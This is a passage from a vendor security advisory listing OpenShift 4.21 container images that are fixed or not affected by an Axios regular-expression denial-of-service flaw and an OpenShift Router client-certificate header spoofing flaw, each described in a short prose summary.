| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in the OpenShift Router. When a Route has `insecureEdgeTerminationPolicy` set to Allow, the HTTP frontend does not remove `X-SSL-Client-*` headers from incoming requests. This allows an unauthenticated attacker to send plain HTTP requests with crafted `X-SSL-Client-*` headers. As a result, backends relying on these headers for mutual TLS (Transport Layer Security) authentication can be bypassed, enabling the attacker to impersonate client certificate identities.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — |
Vendor Fix
fix
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — | ||
